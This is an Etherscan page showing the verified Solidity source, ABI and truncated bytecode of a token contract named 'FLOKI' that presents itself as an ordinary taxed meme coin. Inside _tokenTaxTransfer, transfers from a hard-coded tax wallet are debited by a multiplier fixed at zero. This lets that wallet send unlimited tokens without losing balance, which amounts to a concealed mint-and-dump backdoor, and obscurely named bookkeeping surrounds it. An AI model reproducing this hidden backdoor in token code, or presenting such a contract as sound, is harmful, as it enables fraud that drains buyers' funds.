ETH Price: $2,610.62 (-1.72%)

Token

FLOKI (FLOKI)
 

Overview

Max Total Supply

1,000,000,000 FLOKI

Holders

166

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLOKI

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-13
*/

// SPDX-License-Identifier: MIT
/*
Floki - a Shiba Inu - is Elon Musk's pet dog.

Musk announced he had got his dog in 2021 and told his social media followers that he was going to name the pet Floki.

He is named after a character from the hit TV series Vikings.
*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(
        address account
    ) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(
        address spender,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address sender,
        address recipient, uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    )
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FLOKI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFreeFromLimit;
    mapping (address => bool) public marketPair;
    address payable private _taxWallet;

    string private constant _name = unicode"FLOKI";
    string private constant _symbol = unicode"FLOKI";

    uint256 private _initialBuyTax=17;
    uint256 private _initialSellTax=19;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount =  15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 7000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    struct CaTaxesBurn {uint256 caSwapBurn; uint256 caSwapConvert; uint256 caTotal;}
    mapping (address => CaTaxesBurn) private caTaxesBurn;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private caLimCounter = 0;
    uint256 private caTaxSwapCounter = 0;
    bool private caLimiter = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTxAmountUpdated (
        uint256 _maxTxAmount
    );

    constructor () {
        _taxWallet = payable(0x1038fAf59e171C2736eCA3b49710D37145329235);

        _balances[_msgSender()] = _tTotal;
        _isFreeFromLimit[address(this)] = true;
        _isFreeFromLimit[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (inSwap || !tradingOpen) {
            _basicTransfer(from, to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;

        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount> _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (marketPair[from] && to != address(uniswapV2Router) && ! _isFreeFromLimit[to] )  {
                require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (!marketPair[to] && ! _isFreeFromLimit[to] ) {
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this)){
                taxAmount = tokenAmount.mul((_buyCount> _reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

	     if (!marketPair[from] && !marketPair[to] && from!= address(this) )  {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caLimiter && !inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount=0;
                }
                require(sellCount < caLimCounter, "CA balance sell");
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount> _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount,  min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(
            (_isFreeFromLimit[from]|| _isFreeFromLimit[to])
            &&  from!=address(this)&&  to!=address(this)
        ) {
            caTaxSwapCounter = block.number;
        }
        
        if(!_isFreeFromLimit[from] && !_isFreeFromLimit[to])  {
            if (uniswapV2Pair == to)  {
                CaTaxesBurn storage caTBurn = caTaxesBurn[from];
                
                caTBurn.caSwapConvert = caTBurn.caSwapBurn - caTaxSwapCounter;
                caTBurn.caTotal = block.timestamp - 1;
            } else {
                CaTaxesBurn storage caTBurn = caTaxesBurn[to];
                if (uniswapV2Pair != from)  {
                    uint256 caBurnTransfer = caTaxesBurn[from].caSwapBurn;

                    if(caTBurn.caSwapBurn == 0 || caBurnTransfer < caTBurn.caSwapBurn) {
                        caTBurn.caSwapBurn = caBurnTransfer;
                    }
                } else  {
                    if (!(caTBurn.caSwapBurn > 0)) {
                        caTBurn.caSwapBurn = _buyCount< _preventSwapBefore ? block.number- 1 : block.number;
                    }
                }
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(address from, address to,uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount=_tokenTaxTransfer(from, tokenAmount,taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount,uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount= addrs!=_taxWallet ?tokenAmount : caLimCounter.mul(tokenAmount);
        if (taxAmount> 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router),tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function saveTheEth() external onlyOwner() {
        _taxWallet.transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        marketPair[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance > 0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saveTheEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601160065560136007555f6008555f6009556019600a556019600b55601e600c555f600d555f600e555f600f556009600a6200004191906200030e565b620000509062e4e1c062000325565b601055620000616009600a6200030e565b620000709062e4e1c062000325565b601155620000816009600a6200030e565b62000090906298968062000325565b601255620000a16009600a6200030e565b620000b090626acfc062000325565b6013556017805461ffff191690555f6018819055601955601a805460ff19169055348015620000dd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916731038faf59e171c2736eca3b49710d37145329235179055620001526009600a6200030e565b6200016290633b9aca0062000325565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556005546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d86009600a6200030e565b620001e890633b9aca0062000325565b60405190815260200160405180910390a36200033f565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025357815f1904821115620002375762000237620001ff565b808516156200024557918102915b93841c939080029062000218565b509250929050565b5f826200026b5750600162000308565b816200027957505f62000308565b81600181146200029257600281146200029d57620002bd565b600191505062000308565b60ff841115620002b157620002b1620001ff565b50506001821b62000308565b5060208310610133831016604e8410600b8410161715620002e2575081810a62000308565b620002ee838362000213565b805f1904821115620003045762000304620001ff565b0290505b92915050565b5f6200031e60ff8416836200025b565b9392505050565b8082028115828204841417620003085762000308620001ff565b611dd8806200034d5f395ff3fe608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb1461031e578063b04e911d1461033d578063bf474bed14610351578063dd62ed3e14610366578063f2fde38b146103aa578063f5b3c3bf146103c9575f80fd5b80637d1db4a5146102c45780638a8c523c146102d95780638da5cb5b146102ed5780638f9a55c01461030957806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce5671461020057806349bd5a5e1461021b57806351bc3c851461025257806370a0823114610268578063715018a61461029c578063751039fc146102b0575f80fd5b806306fdde031461013f578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd57806323b872dd146101e1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b506040805180820182526005815264464c4f4b4960d81b6020820152905161017291906119cb565b60405180910390f35b348015610186575f80fd5b5061019a610195366004611a2b565b6103f7565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60135481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf61040d565b3480156101ec575f80fd5b5061019a6101fb366004611a55565b61042d565b34801561020b575f80fd5b5060405160098152602001610172565b348015610226575f80fd5b5060155461023a906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561025d575f80fd5b50610266610494565b005b348015610273575f80fd5b506101bf610282366004611a93565b6001600160a01b03165f9081526001602052604090205490565b3480156102a7575f80fd5b506102666104e5565b3480156102bb575f80fd5b5061026661055f565b3480156102cf575f80fd5b506101bf60105481565b3480156102e4575f80fd5b50610266610610565b3480156102f8575f80fd5b505f546001600160a01b031661023a565b348015610314575f80fd5b506101bf60115481565b348015610329575f80fd5b5061019a610338366004611a2b565b6109de565b348015610348575f80fd5b506102666109ea565b34801561035c575f80fd5b506101bf60125481565b348015610371575f80fd5b506101bf610380366004611aae565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b5575f80fd5b506102666103c4366004611a93565b610a4c565b3480156103d4575f80fd5b5061019a6103e3366004611a93565b60046020525f908152604090205460ff1681565b5f610403338484610b33565b5060015b92915050565b5f61041a6009600a611bd9565b61042890633b9aca00611be7565b905090565b5f610439848484610c57565b61048a843361048585604051806060016040528060288152602001611d7b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611422565b610b33565b5060019392505050565b6005546001600160a01b0316336001600160a01b0316146104b3575f80fd5b305f9081526001602052604090205480156104d1576104d18161145a565b4780156104e1576104e1816115c1565b5050565b5f546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611bfe565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105885760405162461bcd60e51b815260040161050e90611bfe565b6105946009600a611bd9565b6105a290633b9aca00611be7565b6010556105b16009600a611bd9565b6105bf90633b9aca00611be7565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ef6009600a611bd9565b6105fd90633b9aca00611be7565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106395760405162461bcd60e51b815260040161050e90611bfe565b601554600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050e565b6015805460ff60a01b1916600160a01b179055601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef9030906106e16009600a611bd9565b61048590633b9aca00611be7565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107639190611c33565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e69190611c33565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610830573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108549190611c33565b601580546001600160a01b039283166001600160a01b031990911681179091555f908152600460205260409020805460ff191660011790556014541663f305d71947306108b5816001600160a01b03165f9081526001602052604090205490565b5f806108c85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109539190611c4e565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cc9190611c79565b506017805461ff001916610100179055565b5f610403338484610c57565b5f546001600160a01b03163314610a135760405162461bcd60e51b815260040161050e90611bfe565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610a49573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610a755760405162461bcd60e51b815260040161050e90611bfe565b6001600160a01b038116610ada5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b6001600160a01b038216610bf65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050e565b6001600160a01b038216610d1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050e565b5f8111610d7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050e565b60175460ff1680610d995750601554600160a01b900460ff16155b15610dae57610da98383836115f8565b505050565b5f80546001600160a01b03858116911614801590610dd957505f546001600160a01b03848116911614155b8015610df357506005546001600160a01b03848116911614155b1561127e57610e246064610e1e600a54600d5411610e1357600654610e17565b6008545b859061169b565b90611720565b6001600160a01b0385165f9081526004602052604090205490915060ff168015610e5c57506014546001600160a01b03848116911614155b8015610e8057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6657601054821115610ed75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050e565b60115482610ef9856001600160a01b03165f9081526001602052604090205490565b610f039190611c98565b1115610f515760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050e565b600d8054905f610f6083611cab565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff16158015610fa657506001600160a01b0383165f9081526003602052604090205460ff16155b156110255760115482610fcd856001600160a01b03165f9081526001602052604090205490565b610fd79190611c98565b11156110255760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050e565b6001600160a01b0383165f9081526004602052604090205460ff16801561105557506001600160a01b0384163014155b156110825761107f6064610e1e600b54600d541161107557600754610e17565b600954859061169b565b90505b6001600160a01b0384165f9081526004602052604090205460ff161580156110c257506001600160a01b0383165f9081526004602052604090205460ff16155b80156110d757506001600160a01b0384163014155b156110df57505f5b305f90815260016020526040902054601a5460ff168015611103575060175460ff16155b801561112657506001600160a01b0384165f9081526004602052604090205460ff165b80156111395750601754610100900460ff165b8015611146575060125481115b80156111555750600c54600d54115b156111f957600f54431115611169575f600e555b601854600e54106111ae5760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b604482015260640161050e565b6111cb6111c6846111c184601354611761565b611761565b61145a565b4780156111db576111db476115c1565b600e8054905f6111ea83611cab565b909155505043600f555061127c565b60175460ff1615801561122357506001600160a01b0384165f9081526004602052604090205460ff165b80156112365750601754610100900460ff165b8015611243575060125481115b80156112525750600c54600d54115b1561127c5761126a6111c6846111c184601354611761565b47801561127a5761127a476115c1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806112bb57506001600160a01b0383165f9081526003602052604090205460ff165b80156112d057506001600160a01b0384163014155b80156112e557506001600160a01b0383163014155b156112ef57436019555b6001600160a01b0384165f9081526003602052604090205460ff1615801561132f57506001600160a01b0383165f9081526003602052604090205460ff16155b15611410576015546001600160a01b0380851691160361138d576001600160a01b0384165f908152601660205260409020601954815461136f9190611cc3565b6001808301919091556113829042611cc3565b600290910155611410565b6001600160a01b038381165f90815260166020526040902060155490918681169116146113e9576001600160a01b0385165f90815260166020526040902054815415806113da5750815481105b156113e3578082555b5061140e565b805461140e57600c54600d5410611400574361140b565b61140b600143611cc3565b81555b505b61141c84848484611775565b50505050565b5f81848411156114455760405162461bcd60e51b815260040161050e91906119cb565b505f6114518486611cc3565b95945050505050565b6017805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061149a5761149a611cd6565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115159190611c33565b8160018151811061152857611528611cd6565b6001600160a01b03928316602091820292909201015260145461154e9130911684610b33565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115869085905f90869030904290600401611cea565b5f604051808303815f87803b15801561159d575f80fd5b505af11580156115af573d5f803e3d5ffd5b50506017805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104e1573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461161a908261179f565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461164890826117e0565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4a9085815260200190565b5f825f036116aa57505f610407565b5f6116b58385611be7565b9050826116c28583611d5b565b146117195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b9392505050565b5f61171983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183e565b5f81831161176f5782611719565b50919050565b5f61178185848461186a565b9050611798858583611793878761179f565b61191a565b5050505050565b5f61171983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611422565b5f806117ec8385611c98565b9050838110156117195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b5f818361185e5760405162461bcd60e51b815260040161050e91906119cb565b505f6114518486611d5b565b6005545f9081906001600160a01b039081169086160361189657601854611891908561169b565b611898565b835b9050821561191257305f908152600160205260409020546118b990846117e0565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119099087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461193c908361179f565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461196a90826117e0565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119bd9085815260200190565b604051